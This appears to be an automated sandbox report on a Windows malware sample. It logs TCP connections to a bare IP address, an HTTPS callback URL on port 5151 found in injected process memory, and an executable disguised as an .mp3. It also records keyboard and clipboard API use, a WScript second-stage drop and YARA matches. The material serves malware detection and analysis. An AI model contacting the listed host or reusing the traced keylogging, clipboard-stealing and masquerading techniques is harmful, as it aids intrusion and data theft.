Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9
Source: unknown	TCP traffic detected without corresponding DNS query: 51.75.171.9

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3

Code function: 7_2_003ED7A1 InternetReadFile,SetEvent,GetLastError,SetEvent,

7_2_003ED7A1

Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1836340728.000000000113C000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1835610610.000000000114A000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1834362652.0000000001149000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.1997082849.0000000001837000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1836340728.000000000113C000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1835610610.000000000114A000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1834362652.0000000001149000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.1997082849.0000000001837000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1836340728.000000000113C000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1835610610.000000000114A000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1834362652.0000000001149000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.1997082849.0000000001837000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1836340728.000000000113C000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1835610610.000000000114A000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1834362652.0000000001149000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.1997082849.0000000001837000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1836340728.000000000113C000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1835610610.000000000114A000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1834362652.0000000001149000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.1997082849.0000000001837000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1836340728.000000000113C000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1835610610.000000000114A000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1834362652.0000000001149000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.1997082849.0000000001837000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1836340728.000000000113C000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1835610610.000000000114A000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1834362652.0000000001149000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.1997082849.0000000001837000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1836340728.000000000113C000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1835610610.000000000114A000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1834362652.0000000001149000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.1997082849.0000000001837000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1836340728.000000000113C000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1835610610.000000000114A000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1834362652.0000000001149000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.1997082849.0000000001837000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1836340728.000000000113C000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1835610610.000000000114A000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1834362652.0000000001149000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.1997082849.0000000001837000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1836340728.000000000113C000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1835610610.000000000114A000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1834362652.0000000001149000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.1997082849.0000000001837000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1835610610.000000000114A000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1834362652.0000000001149000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000002.2078930988.0000000000E65000.00000002.00000001.01000000.0000000E.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.1997082849.0000000001837000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000012.00000002.2216834063.0000000000E65000.00000002.00000001.01000000.0000000E.sdmp, qwlvpmrupf.mp3.exe, 00000013.00000000.2185326660.0000000000E65000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: OpenWith.exe, 0000000F.00000002.2944848789.000000000327C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://51.75.171.9:5151/9640d96bbead45f349f3ab9/nvkjh5gq.0x2e8
Source: OpenWith.exe, 0000000F.00000002.2944848789.000000000327C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://51.75.171.9:5151/9640d96bbead45f349f3ab9/nvkjh5gq.0x2e8(
Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1836340728.000000000113C000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1835610610.000000000114A000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1834362652.0000000001149000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.1997082849.0000000001837000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1836340728.000000000113C000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1835610610.000000000114A000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3, 00000007.00000003.1834362652.0000000001149000.00000004.00000020.00020000.00000000.sdmp, qwlvpmrupf.mp3.exe, 00000010.00000003.1997082849.0000000001837000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/0

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3

Code function: 7_2_003EF45C OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

7_2_003EF45C

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_003EF6C7 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,		7_2_003EF6C7
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00E0F6C7 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,		16_2_00E0F6C7

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3

7_2_003EF45C

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3

Code function: 7_2_003DA54A GetKeyboardState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

7_2_003DA54A

Source: OpenWith.exe, 0000000F.00000003.1935175992.00000000059C0000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: DirectInput8Create

memstr_7d31fd25-6

Source: OpenWith.exe, 0000000F.00000003.1935175992.00000000059C0000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_98c403a2-e

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_00409ED5 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		7_2_00409ED5
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00E29ED5 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		16_2_00E29ED5

Source: Yara match	File source: 15.3.OpenWith.exe.59c0000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.OpenWith.exe.57a0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000003.1935175992.00000000059C0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.1934921441.00000000057A0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: OpenWith.exe PID: 7980, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Code function: 17_2_066CA41B GetCurrentProcess,NtQueryInformationProcess,		17_2_066CA41B
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Code function: 17_2_066C7895 NtQueryInformationProcess,		17_2_066C7895

Source: C:\Users\user\Desktop\ngPebbPhbp.exe

Code function: 0_2_00B09B5C: _wcslen,CreateFileW,CloseHandle,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

0_2_00B09B5C

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3

Code function: 7_2_003D1A91 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

7_2_003D1A91

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_003DF122 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,		7_2_003DF122
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00DFF122 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,		16_2_00DFF122

Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Code function: 0_2_00B1355D	0_2_00B1355D
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Code function: 0_2_00B1B76F	0_2_00B1B76F
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Code function: 0_2_00B0BF3D	0_2_00B0BF3D
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Code function: 0_2_00B2C0D6	0_2_00B2C0D6
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Code function: 0_2_00B1A008	0_2_00B1A008
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Code function: 0_2_00B292D0	0_2_00B292D0
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Code function: 0_2_00B1A222	0_2_00B1A222
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Code function: 0_2_00B15214	0_2_00B15214
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Code function: 0_2_00B1C27F	0_2_00B1C27F
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Code function: 0_2_00B34360	0_2_00B34360
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Code function: 0_2_00B386D2	0_2_00B386D2
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Code function: 0_2_00B146CF	0_2_00B146CF
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Code function: 0_2_00B048AA	0_2_00B048AA
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Code function: 0_2_00B3480E	0_2_00B3480E
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Code function: 0_2_00B05AFE	0_2_00B05AFE
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Code function: 0_2_00B1ABC8	0_2_00B1ABC8
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Code function: 0_2_00B07CBA	0_2_00B07CBA
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Code function: 0_2_00B1BC05	0_2_00B1BC05
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Code function: 0_2_00B03D9D	0_2_00B03D9D
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Code function: 0_2_00B14D32	0_2_00B14D32
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Code function: 0_2_00B2BEA7	0_2_00B2BEA7
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Code function: 0_2_00B05F39	0_2_00B05F39
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Code function: 0_2_00B15F0B	0_2_00B15F0B
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_00398037	7_2_00398037
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_00392007	7_2_00392007
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_0038E0BE	7_2_0038E0BE
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_0037E1A0	7_2_0037E1A0
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_0037225D	7_2_0037225D
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_003AA28E	7_2_003AA28E
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_003922C2	7_2_003922C2
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_0038C59E	7_2_0038C59E
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_003FC7A3	7_2_003FC7A3
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_003AE89F	7_2_003AE89F
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_003E291A	7_2_003E291A
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_003A6AFB	7_2_003A6AFB
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_003D8B27	7_2_003D8B27
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_0039CE30	7_2_0039CE30
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_003A7169	7_2_003A7169
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_004051D2	7_2_004051D2
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_00379240	7_2_00379240
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_00379499	7_2_00379499
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_00391724	7_2_00391724
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_00391A96	7_2_00391A96
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_00379B60	7_2_00379B60
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_00397BAB	7_2_00397BAB
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_00391D40	7_2_00391D40
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_00397DDA	7_2_00397DDA
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Code function: 14_2_01358250	14_2_01358250
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Code function: 14_2_01355158	14_2_01355158
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Code function: 14_2_01355148	14_2_01355148
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Code function: 14_2_01358240	14_2_01358240
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Code function: 14_2_01357F2C	14_2_01357F2C
Source: C:\Windows\SysWOW64\OpenWith.exe	Code function: 15_2_05A48419	15_2_05A48419
Source: C:\Windows\SysWOW64\OpenWith.exe	Code function: 15_2_05A5FC7D	15_2_05A5FC7D
Source: C:\Windows\SysWOW64\OpenWith.exe	Code function: 15_2_05A4871F	15_2_05A4871F
Source: C:\Windows\SysWOW64\OpenWith.exe	Code function: 15_2_05A5C776	15_2_05A5C776
Source: C:\Windows\SysWOW64\OpenWith.exe	Code function: 15_2_05A5BE5A	15_2_05A5BE5A
Source: C:\Windows\SysWOW64\OpenWith.exe	Code function: 15_2_05A5C1DA	15_2_05A5C1DA
Source: C:\Windows\SysWOW64\OpenWith.exe	Code function: 15_2_05A5E833	15_2_05A5E833
Source: C:\Windows\SysWOW64\OpenWith.exe	Code function: 15_2_05A57815	15_2_05A57815
Source: C:\Windows\SysWOW64\OpenWith.exe	Code function: 15_2_05A57BA2	15_2_05A57BA2
Source: C:\Windows\SysWOW64\OpenWith.exe	Code function: 15_2_05A5BBAF	15_2_05A5BBAF
Source: C:\Windows\SysWOW64\OpenWith.exe	Code function: 15_2_05A52340	15_2_05A52340
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00DAE0BE	16_2_00DAE0BE
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00DB2007	16_2_00DB2007
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00DB8037	16_2_00DB8037
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00D9E1A0	16_2_00D9E1A0
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00DB22C2	16_2_00DB22C2
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00DCA28E	16_2_00DCA28E
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00D9225D	16_2_00D9225D
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00DAC59E	16_2_00DAC59E
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00E1C7A3	16_2_00E1C7A3
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00DCE89F	16_2_00DCE89F
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00E0291A	16_2_00E0291A
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00DC6AFB	16_2_00DC6AFB
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00DF8B27	16_2_00DF8B27
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00DBCE30	16_2_00DBCE30
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00E251D2	16_2_00E251D2
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00DC7169	16_2_00DC7169
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00D99240	16_2_00D99240
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00D99499	16_2_00D99499
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00DB1724	16_2_00DB1724
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00DB1A96	16_2_00DB1A96
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00DB7BAB	16_2_00DB7BAB
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00D99B60	16_2_00D99B60
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00DB7DDA	16_2_00DB7DDA
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00DB1D40	16_2_00DB1D40
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Code function: 17_2_01BF8250	17_2_01BF8250
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Code function: 17_2_01BF5158	17_2_01BF5158
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Code function: 17_2_01BF5148	17_2_01BF5148
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Code function: 17_2_01BF8240	17_2_01BF8240
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Code function: 17_2_066C3E3D	17_2_066C3E3D
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Code function: 17_2_066C7E1D	17_2_066C7E1D
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Code function: 17_2_06A62E20	17_2_06A62E20
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Code function: 17_2_066C9BC4	17_2_066C9BC4
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Code function: 17_2_066D1B8C	17_2_066D1B8C
